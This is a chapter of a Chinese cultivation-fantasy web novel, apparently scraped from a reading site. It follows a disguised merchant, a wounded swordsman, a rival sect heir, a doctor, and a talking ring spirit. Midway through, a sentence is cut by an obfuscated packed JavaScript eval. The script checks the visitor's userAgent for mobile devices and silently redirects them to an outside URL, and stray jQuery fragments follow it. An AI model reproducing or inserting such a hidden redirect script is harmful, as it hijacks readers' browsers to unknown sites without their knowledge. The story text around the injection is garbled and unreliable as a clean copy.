文趣网 > 其他小说 > 身为位面商人却被龙傲天当成战五渣是否搞错了什么 > 9. 修真世界龙傲天与他的救命恩人8
    “你是什么人?!”

    姬青玉警惕地往后退了几步,这个人是什么时候来的,为什么他丝毫没有察觉到?

    神秘人,也就是沈渡秋冷哼一声,站直了身体,目光扫过谢白景被拿走的那枚戒指。

    他抬起手,虚无之戒出现在他的手上。

    “怎么回事?你究竟是什么人?!”

    姬青玉看见了那枚出现在沈渡秋手上的戒指,他完全不知道这枚戒指是什么时候到那个人手上的,就像他不知道这个人究竟是什么身份一样。

    他知道这个人是之前与自己抢夺续经丹的人,但他一直以为对方是个出头露面的散修,可是刚刚那件事来看,对方或许还有他不知道的秘法。

    “你无需知道我的身份,只要记住一件事,这枚戒指你别想带走。”

    沈渡秋的手重重一握,戒指消失,而他则往前走了几步,走到谢白景的面前。

    他低下头,看向谢白景的摊子。

    看见了上面写着的那句“正宗暮墟之石,新鲜现捡,童叟无欺,欢迎议价”。

    “你就靠这种方式卖鸡蛋发家的?”他问。

    谢白景点头。

    沈渡秋蹲下身,抬手,他的目光在谢白景的两只手间扫过,直接抓起了那只带有他赠予对方的手镯的手,他将对方的手掌摊开朝上,将戒指放在了谢白景的手心。

    “收好了,别再被骗了,下次可不一定会有人帮你把东西拿回来。”

    谢白景迷茫地挠了挠头,刚想说自己没有被骗,他知道那个人给自己的是假戒指却被沈渡秋的目光吸引去了动作。

    沈渡秋拿起了谢白景摊位上的那枚鸡蛋,往上一抛。

    谢白景的眼睛都瞪大了,目光一刻不离地盯着那枚鸡蛋,生怕它碎了。

    这傻大秋怎么回事,不买我的鸡蛋也不能丢啊!

    就在鸡蛋即将要落下的瞬间,谢白景准备扑过去把鸡蛋接下来,沈渡秋就先他一步,手一挥,稳稳地接住了它。

    他捏住鸡蛋的尖端,用另一端较圆润的部分轻轻碰了碰谢白景的额头。

    谢白景被他的动作弄得有些发愣,捂着自己的额头,仰着头看着沈渡秋,不解他的动作。

    而沈渡秋在看见谢白景表情的时候不自觉地露出了笑容,他甚至能意识到自己的声音里有压抑不住的笑意。

    “这枚鸡蛋我买了,多少钱?”

    谢白景本来还有些迷茫的表情立刻就变了,他端起一副严肃专业的架子说起了价格:“不贵的,就刚刚拍卖会卖出的那枚鸡蛋价格的一半。”

    就算是一半价格也不少,几乎是沈渡秋刚刚卖出那枚戒指所获得的所有的灵石,但是沈渡秋没有半分犹豫就把灵石给了出去。

    一旁的姬青玉却在这时煞风景。

    “小子,我不知道你究竟是谁,但是我劝你不要多管闲事,之前你与我争夺的事我暂且不论,现在你这可是在与百花门为敌!”

    “百花门?什么时候你居然可以代表百花门了?”沈渡秋站起身,他冷笑一声,语气中尽是对姬青玉的不屑。

    “你!”姬青玉转头对自己的侍卫使了个眼色,让他们赶紧动手。

    看着逐渐围上来的侍卫,谢白景一边收摊一边道歉:“抱歉,抱歉,我现在就收,保证不影响道路交通。”

    他的语气和说辞像极了摊贩在应对城管。

    “谁和你扯那些,现在,把虚无之戒和续经丹交出来,如果你们不想惹上我们百花门的话。”姬青玉一挥袖,那些侍卫们准备动手了。

    而在不远处,一些还未离去的大能们看着这一幕,没有动作,是想螳螂捕蝉,黄雀在后。

    沈渡秋挡在谢白景的前面,他干脆利落地抽出佩剑,准备应对上前的人。

    眼见着战斗一触即发,邢子仪笑眯眯地按住了姬青玉,三仙剑宗的几名弟子也在此刻围了上来。

    “好了,诸位,卖我一个面子,百花门也不想被别人知道平日里都是干这种勾当的吧?”

    姬青玉看向周围的三仙剑宗的弟子和邢子仪,与极其护短,视弟子为亲子的三仙剑宗和安乐坊坊主归尘医圣的唯一弟子相比,他这个百花门门主的无数私生子之一的人属实算不上重要。

    他攥紧了拳头,不得已退让了,“安乐坊是吗?邢子仪是吗?我记住了,我会好好在父亲面前说你的丰功伟绩的!”

    说完,他就带着手下走了。

    而谢白景已经收完了摊,他把沈渡秋刚刚还给自己的戒指随手放进口袋里。

    “天啊,白景啊,我的大爷啊!你知道这个东西有多贵吗?你就这样放着,不怕被人偷吗?”

    邢子仪眼睛都快要被钉死在那放着戒指的口袋上了。

    “你们这里的治安这么不好吗?到处都有小偷。”谢白景问道。

    “你……倒也不是,只是防不胜防啊,不怕贼偷,就怕贼惦记,总会有顾暇不及的时候嘛。”刚刚上任的仙盟执法队成员邢子仪有些不知道该怎么回答。

    “那就没关系了,我没有顾暇不及的时候,也没有防不住的时候。”谢白景说这句话的时候没有半分的停顿与迟疑。

    “……你,好吧,白景,你这一次再被人骗了可没有好心的仙友帮你了——诶,那位仙友呢?”

    邢子仪刚看向沈渡秋站着的位置,结果什么也看不见。

    奇了怪了,这家伙什么时候走的?

    “他刚刚走了,我们也走吧。”谢白景催促着邢子仪。

    ——

    谢白景带着邢子仪来到自己的竹屋的时候沈渡秋已经躺在床上,和谢白景刚出来的时候没有什么差别。

    “白景,你回来了?我等你等了很久——咳咳,抱歉,我身体还有些不适。”

    沈渡秋重重地咳嗽了几声,一副弱不禁风的样子,丝毫没有刚刚在姬青玉那抢回戒指时神气的模样。

    “这是我给你找的医修,别人说他是修真界很厉害的医修。”

    谢白景也没有要戳穿沈渡秋的意思,只把邢子仪带到了沈渡秋面前。

    沈渡秋看着站在他面前朝他微笑着的邢子仪,他这才意识到谢白景出去是为了帮他找医修。

    他知道邢子仪有多难请。

    赫赫有名的长治医仙不如他师父那般乐善好施,这位医仙常年混迹在酒街花巷,玩世不恭,甚至有传言说此人性格极其恶劣,完全没有一点医修模样。

    谢白景能把这人请来,想必是废了好一番力气。

    而邢子仪不愧为修真界第二的医修,只是在扫过沈渡秋一眼后就给出了治疗方案。

    “的确是经脉寸断,不过如果按照那本丹书中的丹方的话,治好后经脉的强度不说能比之前更强劲,但是至少能回到曾经的水平。”

    这个结果倒是让沈渡秋有些意外。

    他没指望自己的经脉能恢复如初。

    但他也从不认为就算是经脉强度不如之前他就会落于人下。

    他甚至已经选好了自己要修习的功法

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17674496|207431||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,那是个外人眼中与魔教功法无异的功法。

    此功法不依赖经脉,对于灵根的要求更是强制要求五灵根,且由于修炼难度极大,不属于任何有名姓的门派,所以少有人知。

    他也是之前一次意外掉落山崖得到传承才习得。

    如今能重新修习已经是比之前他的计划好太多了。

    谢白景对于邢子仪的诊断结果十分满意,他干脆地从自家的桌腿下抽出一本用来垫桌脚的丹书递到了邢子仪面前。

    “这是我答应你的另外一本丹书。”

    邢子仪迫不及待地想要伸出手去拿这本丹方,但谢白景却收回了手。

    “丹方现在还不能给你,得等你把他治好后,我才会给你。”

    谢白景指了指沈渡秋,又挥了挥手中的书。

    邢子仪眼巴巴地看着那本丹方,“白景啊,你这是不信任我,真是太让我难过了,我是那种会拿钱不办事的人吗?我可是长治医仙!”

    邢子仪用自己的名号保证。

    谢白景不为所动,把书直接放进了自己的储物袋中,“治好再说。”

    邢子仪见自己的名号不管用了,只好正了正神色,拿出了几分修真界第二医修的架势:“好吧,看来不拿出点真家伙,你们还真不把我当修真界的第二医修了,给我一个月的时间,这一个月我就住你们这了,我绝对把沈小友给你们治好!”

    得到了邢子仪保证的谢白景点头,他指了个房间给邢子仪用,自己则走回了卧室,他要看看今天买的那个戒指。

    他的房间内设有禁制,外人无法从外部探查到屋内的情况。

    他掏出那枚丑戒指放在桌上,说道:“出来吧。”

    戒指动了几下,没有回应。

    谢白景就敲了这个戒指一下,戒指依旧没有回应。

    他又继续摇晃了几下。

    “白景,你快别摇了,我晃得头晕。”戒指发出了一个温润的年轻男声

    白景?这个人认识他?

    谢白景疑惑地歪了歪头。

    “你是谁?”谢白景好奇地问戒指。

    “你不认识我了?”戒指疑惑地问出声。

    “应该是认识的,不过时间太久了,忘记了。”

    谢白景本就因认识的人太多,经常出现脸和名字对不上号的情况,如今让他依靠声音辨别人,又怎么可能做到。

    “这样吗?也是啊,距离白景你走,已经过去了几百年了,几百年不见,的确是会让一个人忘记很多东西。”

    戒指里的男人声音有些惆怅,他的身形逐渐显现,是一个面若冠玉,打扮精致得像是寺庙中供奉的神像的男人,身上的锦绣华服堆叠着压在他的身上,目光中带有几分观音像般的慈悲。

    “好久不见,白景。”

    男人弯着眼睛朝谢白景笑了笑。

    谢白景看着眼前的男人,他的确是觉得有几分眼熟,不过依旧想不起来。

    “好吧,看你的表情,果真是忘记我了,那就再介绍一次吧,我叫邢雪落,五百年前曾是你的友人,而你是那时有名的炼器师,景。那个时候我们几个人喜欢在这片大陆到处游历。”

    说着,邢雪落的目光放在了谢白景的暗红色羽毛耳环上。

    “时间都过去太久了,连你的耳环都褪色了吗?我记得那个时候你把凤凰一族的每一只鸟的羽毛都拔了个遍,就为了找羽毛的来源,结果不仅没找到,还害得后来连带着我们几个人走哪都会被凤凰一族追杀。”